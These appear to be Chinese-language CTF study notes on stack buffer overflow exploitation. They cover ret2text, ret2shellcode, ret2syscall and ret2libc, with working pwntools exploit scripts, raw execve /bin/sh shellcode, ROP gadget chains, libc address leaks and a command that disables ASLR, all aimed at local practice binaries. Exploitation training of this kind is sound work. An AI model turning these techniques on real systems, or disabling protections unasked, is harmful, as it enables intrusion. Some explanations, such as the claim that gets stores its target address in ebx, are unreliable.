0x0 栈介绍
栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作
压栈与出栈都是操作的栈顶
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。
程序的栈是从进程地址空间的高地址向低地址增长的。
- x86
- 函数参数在函数返回地址的上方
- x64
- 前6个整型或指针参数一次保存在RDI,RSI,RDX,RCX,R8和R9寄存器中,如果还有更多的参数的话才会保存在栈上
- 内存地址不能大于
0x00007FFFFFFFFFFF
,6个字节长度,否则会抛出异常
0x1 栈溢出原理
栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
栈溢出的基本前提是:
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好地控制
一、简单示例
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,在利用前,我们需要确保这个地址所在的段具有可执行权限,举例
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
这个程序的主要目的读取一个字符串,并将其输出。最终我们想要做到的事可以控制程序执行success
函数
使用如下指令对其进行编译
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
-m32
生成32位程序-fno-stack-protector
不开启堆栈溢出保护,即不生成canary--enable-default-pie
参数代表PIE默认已开启,需要在编译指令中添加参数-no-pie
Linux平台下还有地址空间分布随机化(ASLR)的机制,简单来说即使可执行文件开启了PIE保护,还需要系统开启ASLR才回真正打乱基址,否则程序运行时依旧会加载一个固定的基址上,可以通过修改/proc/sys/kernel/randomize_va_space
来控制ASLR启动与否,具体选项有:
- 0,关闭ASLR,没有随机化。栈、堆、
.so
的基地址每次都相同 - 1,普通ASLR。栈基地址、mmap基地址、
.so
加载基地址都将被随机化,但是堆基地址没有随机化 - 2,增强的 ASLR,在1的基础上,增加了堆基地址随机化
修改指令:关闭Linux系统的ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
根据分析可知,该字符串距离ebp
的长度为0x14
,对应的栈结构为
+--------------------+
| retaddr |
+--------------------+
| saved ebp |
ebp---->+--------------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14->+--------------------+
通过Ghidra
获得success
的地址,其地址为0x080491ba
tips
push ebp
是一个函数的开始标志
如果读取的字符串为
0x14*'a' + 'bbbb' + success_addr
由于gets
会读到回车才算结束,所以可以直接读取所有字符串,并将saved ebp
覆盖为bbbb
,将retaddr
覆盖为success_addr
,此时的栈结构为
+--------------------+
| 0x080491ba |
+--------------------+
| bbbb |
ebp---->+--------------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14->+--------------------+
由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x080491ba
在内存中的形式是
\xba\x91\x04\x08
所以构造exp如下
##coding=utf8
# 导入pwn模块
from pwn import *
# 构造与程序交互的对象
sh = process('./01')
# 所要运行的函数的地址
success_addr = 0x080491ba
# code为构造的填充脏字节
code = 'a' * 0x14
# place为填充寄存器的字节
place = 'b' * 0x4
# 拼接payload
payload = code + place + p32(success_addr)
# 打印payload
print(p32(success_addr))
# 发送payload
sh.sendline(payload)
# 将代码交互转换为手工交互
sh.interactive()
执行成功运行vulnerable
函数
总结:栈溢出中比较重要的两个步骤分别为
- 寻找危险函数(常见危险函数如下)
- 输入
gets
,直接读取一行,忽略\x00
scanf
vscanf
- 输出
sprintf
- 字符串
strcpy
,字符串复制,遇到\x00
停止strcat
,字符串拼接,遇到\x00
停止bcopy
- 输入
- 确定填充长度
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离,常见的方法是通过反编译软件,根据其给定的地址计算偏移。一般变量会有以下集中几种索引模式
- 相对于栈基地址的索引,可以直接通过查看
EBP
相对偏移获得 - 相对应栈顶指针的索引,一般需要进行调试,之后还是回转换到第一种类型
- 直接地址索引,就相当于直接给定了地址
一般来说,会有如下的覆盖需求 - 覆盖函数返回地址,直接看EBP即可
- 覆盖栈上某个变量的内容,需要更加精细的计算
- 覆盖bss段某个变量的内容
- 根据现实执行情况,覆盖特定的变量或地址的内容
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。
0x2 基本ROP
ROP适用于开启NX保护的,主要思想:在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets就是以ret
结尾的指令序列,通过这些指令序列,可以修改某些地址的内容,方便控制程序的执行流程。
ROP需要满足的条件:
- 程序存在溢出,并且可以控制返回地址
- 可以找到满足条件的
gadgets
以及相应的gadgets
的地址
如果gadgets每次的地址是不固定的,那就需要想办法动态获取对应的地址了。
ret2text
ret2text即控制程序执行程序本身已有的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(即gadgets),这就是我们所要说的ROP
先查一下保护机制
checksec ret2text
反编译查看原代码
int main(void)
{
char buf [100];
char local_74 [112];
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
puts("There is something amazing here, do you know anything?");
gets(local_74);
printf("Maybe I will tell you next time !");
return 0;
}
程序在主函数中使用了gets
函数,明显存在栈溢出漏洞
使用strings
查看字符串
strings -t x ret2text
去Ghidra中查找/bin/sh
发现在secure
函数中存在调用system(""/bin/sh")
的代码,直接控制程序返回至0x0804863a
,就可以得到系统的shell了。
构造payload:
确定能够控制的内存的起始地址距离main
函数的返回地址的字节数
可以看到该变量是通过相对于esp的索引,所以需要进行debug,将断点下在call处,查看esp
,ebp
可以看到esp
为0xffffd070
,ebp
为0xffffd0f8
,同时local_74
相对于esp
的索引为esp+0x1c
,据此可以推断:
local_74
的地址为0xffffd08c
local_74
相对于ebp
的偏移为0x6c
local_74
相对于返回地址的偏移为0x6c+4
最后payload如下
from pwn import *
p = process('./ret2text')
target = 0x0804863a
code = 0x6c * 'A'
replace = 0x4 * 'B'
payload = code + replace + p32(target)
p.sendline(payload)
p.interactive()
ret2shellcode
控制程序执行shellcode代码
因为使用了gets
函数,可以看出程序依然是基本的栈溢出漏洞
但是同时程序将对应的字符串复制到了buf2
处。简单查看可知buf2
在bss
段
debug一下程序,查看bss
段是否可执行
分析发现,bss段对应的段具有可执行权限
于是就控制程序执行shellcode,即读入shellcode,然后控制程序执行bss段处的shellcode。
偏移量计算,s
通过esp
索引表示为esp+0x1c
将断点下在call
处,查看esp
、ebp
,如下
分析可得,esp
为0xffffd060
,ebp
为0xffffd0e8
,s
相对于esp
的索引为esp+0x1c
因此,可以推断
s
的地址为0xffffd060
s
相对于ebp
的偏移为0x6c
s
相对于返回地址的偏移为0x6c+4
具体的payload如下
# coding=utf8
'''
esp地址:0xffffd060
ebp地址:0xffffd0e8
s相对于esp的索引为esp+0x1c
s相较于ebp的偏移量:0x6c
s相较于返回地址的偏移量:0x6c+4
'''
from pwn import *
sh = process('./ret2shellcode')
# shellcraft.sh() 是 shellcraft 模块中的一个函数,用于生成一个执行 /bin/sh 命令的 Shellcode。
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080
# 偏移量填充加buf2
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
# 交互
sh.interactive()
sniperoj-pwn100-shellcode-x86-64
checksec分析发现开启了PIE
分析发现buf
分配的空间为0x10
,但是read中读取的大小为0X40
,明显存在溢出,因此能够使用read
来进行栈溢出,下面计算返回地址到buf
的偏移量
使用gdb,debug程序,在main
函数处打断点,运行到read
函数的leave
处
buf
是通过rsp
进行索引的,而rbp
相较于rsp
的偏移量为0x10
,所以buf
相较于rbp
的偏移量为0x10+8
这里可能会疑惑如何获取buf
的地址,分析代码逻辑发现,虽然开启了PIE虚拟化,但是程序在运行时输出了,buf2的地址,因此buf2的问题也解决了
我们还有一个问题就是程序能读取的长度为0x40
,其中填充垃圾字符就占有了0x18
,因此我们最终只能构造一个长度为40的shellcode
考虑搜一个长度为40的shellcode
https://www.exploit-db.com
这两个都可以
https://www.exploit-db.com/shellcodes/43550
https://www.exploit-db.com/shellcodes/46907
于是构造的payload如下
# coding=utf8
'''
$rsp 0x00007fffffffdf10
$rbp 0x00007fffffffdf20
buf距rbp的距离为0x10+8
'''
from pwn import *
p = process('./shellcode')
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True)
# 其中24为buf到eip的距离,8是eip的结束位置
offset_addr = int(buf_addr, 16) + 24 + 8
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendline(24*'a' + p64(offset_addr)+shellcode)
p.interactive()
ret2syscall
原理:控制程序执行系统调用,获取shell
检测程序开启的保护
32位程序,开启了NX保护。利用IDA来查看源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
因为使用了gets
函数,可以看出仍然是一个栈溢出。
分析偏移量
在gets
函数调用下断点,用gdb
,debug一下
分析可得esp
的地址为0xffffd090
,ebp
的地址为0xffffd118
v4
按照esp
索引为esp+0x1c
v4
距离ebp
的距离为0x6c
v4
距离返回地址的距离为0x6c+4
所以最终的偏移量为112
由于不能直接利用程序中的某一段代码或者自己填写代码来获取shell,所以考虑利用程序中的gadgets来获取shell,而对应的shell获取则是利用系统调用
这里不做详细的解释了,简单解释一下,只要我们把对应获取shell
的系统调用的参数放在对应的寄存器中,那么我们在执行int 0x80
就可执行对应的系统调用。比如这里我们利用如下系统调用来获取shell
execve("/bin/sh", NULL, NULL)
其中,该程序是32位,所以我们需要使得
- 系统调用号,即
eax
应为0xb
- 第一个参数,即
ebx
应指向/bin/sh
的地址(或执行sh
的地址也可以) - 第二个参数,即
ecx
应为0 - 第三个参数,即
edx
应为0
想要控制寄存器的值,需要使用gadgets
,现在栈顶是10,如果此时执行了pop eax
,那现在eax
的值就是10。
eax
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
选择第二个来控制eax
ebx
ecx
edx
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
选择这条控制ebx
、ecx
、edx
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
还需要一个/bin/sh
字符串对应的地址
ROPgadget --binary rop --string '/bin/sh'
最终还需要一个int 0x80
的地址
ROPgadget --binary rop --only 'int'
# coding=utf8
'''
ROP获取
eax: ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ebx、ecx、edx:ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
int 0x80: ROPgadget --binary rop --only 'int'
/bin/sh: ROPgadget --binary rop --string '/bin/sh'
'''
from pwn import *
p = process('./rop')
pop_eax_ret = 0x080bb196
pop_ebx_ecx_edx_ret = 0x0806eb90
int_80 = 0x08049421
bin_sh = 0x080be408
code = 112
payload = flat(['A' * code, pop_eax_ret, 0xb, pop_ebx_ecx_edx_ret, 0, 0, bin_sh, int_80])
p.sendline(payload)
p.interactive()
ret2libc
ret2libc1
原理:ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt
处或函数的具体位置(即函数对应的got表项的内容)。一般情况下,会选择执行system("/bin/sh")
,故而此时我们需要知道system
函数的地址
分析源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}
使用了gets
函数的时候出现了栈溢出。此外,利用ropgadget
,我们可以查看是否有/bin/sh
存在
或者直接使用ida查看也可以获取
分析找到system的地址
直接返回该处,即执行system
函数,对应的payload如下
# coding=utf8
'''
esp 0xffffd070
ebp 0xffffd0f8
s相对于esp的偏移量为esp+0x1c
s相对于ebp的偏移量为0x6c
s相对于函数的返回地址的偏移量为0x6c+4
'''
from pwn import *
p = process('./ret2libc1')
bin_sh = 0x08048720
sys_address = 0x08048460
payload = 'A' * 112 + p32(sys_address) + 'B' * 4 + p32(bin_sh)
p.sendline(payload)
p.interactive()
这里需要注意函数调用栈的结果,如果是正常调用system
函数,调用时会有一个对应的返回地址,这里以bbbb
作为虚假地址,其后参数对应的参数内容。
ret2libc2
在1的基础上,不再出现/bin/sh
字符串,需要自己来读取字符串,需要两个gadgets
,第一个控制程序读取字符串,第二个控制程序执行system("/bin/sh")
在没有/bin/sh
的情况下,通常需要靠构造gets
函数调用,将/bin/sh
写入buf2
中,作为参数,传入system
调用,获取shell
在x86架构中,eax
寄存器通常用于存储函数的返回值,ebx
寄存器是通用寄存器,用于存储通用数据或地址
在调用gets()
函数时,eax
寄存器用于存储gets()
函数的返回值,表示函数执行的结果,ebx
寄存器用于存储字符串的目标地址,即将从标准输入读取的字符串存储到的位置
所以gets()
函数会将用户输入的字符串,存储到ebx
寄存器指向的内存位置
ROPgadget --binary ./ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
# coding=utf8
'''
esp:0xffffd070
ebp:0xffffd0f8
s相较于esp的距离为esp+0x1c
s相较于ebp的距离为0x6c
s相较于返回地址的距离为0x6c+4
'''
from pwn import *
p = process('ret2libc2')
'''
构造调用过程中需要用到gets的地址
pop ebx的地址
system的地址
buf2的地址
'''
gets_address = 0x08048460
system_address = 0x08048490
buf2 = 0x0804A080
pop_ebx = 0x0804843d
payload = flat(
['a' * 112 + p32(gets_address) + p32(pop_ebx) + p32(buf2) + p32(system_address) + 'b' * 4 + p32(buf2)]
)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
ret2libc3
在前面的基础上去掉了system
的地址,需要同时找到system
函数地址与/bin/sh
字符串的地址
跟前面类似的地方就不在此赘述了
这里主要讲解如何得到system函数的地址,主要利用两个知识点
system
函数属于libc
,而libc.so
动态链接库中的函数之间相对偏移是固定的- 即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变
所以,如果我们知道libc中某个函数的地址,可以确定该程序利用的libc。进而可以知道system
函数的地址
采用got表泄漏,即输出某个函数对应的got表项的内容。由于libc的延迟绑定机制,需要泄漏已经执行过的函数的地址
所以我们的利用思路是这样的 - 泄漏
__libc_start_main
地址 - 获取
libc
版本 - 获取
system
地址与/bin/sh
地址 - 再次执行源程序
- 触发栈溢出执行
system('/bin/sh')
payload如下
# coding=utf8
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
# 泄漏puts在plt表中的地址
puts_plt = ret2libc3.plt['puts']
# 获取main的地址
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("泄漏libc_main_start_main_got地址并且再次返回main函数")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print("获取真实id")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print("获取shell")
payload = flat(['A' * 104, system_addr, 'A' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
train.cs.nctu.edu.tw: ret2libc
运行程序,发现泄漏了,puts
和/bin/sh
的地址
开启了NX和Partial RELR0,同时泄漏出/bin/sh
和puts
的地址
偏移量计算
使用ida分析发现,v4依靠esp索引的地址为esp+1C
使用gdb调试,在main处下断点,运行到scanf
函数处
v4相对于esp的距离为esp+1C
v4相对于ebp的距离为0x1C
v4相对于返回地址的距离为0x20
所以偏移量为0x20
构造最终exp
# coding=utf8
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc')
if args['REMOTE']:
libc = ELF('./libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# 用于获取指定符号在libc动态链接库中的地址的字典,libc是一个ELF对象,它表示libc动态链接库。
# symbols是elf对象的一个属性,包含了动态连疾苦中所有符号及其对应的地址
system_offest = libc.symbols['system']
puts_offest = libc.symbols['puts']
p.recvuntil('is ')
sh_addr = int(p.recvuntil('\n', drop=True), 16)
print(hex(sh_addr))
p.recvuntil('is ')
puts_addr = int(p.recvuntil('\n', drop=True), 16)
print(hex(puts_addr))
system_addr = puts_addr - puts_offest + system_offest
payload = flat([0x20 * 'a', system_addr, 'bbbb', sh_addr])
p.sendline(payload)
p.interactive()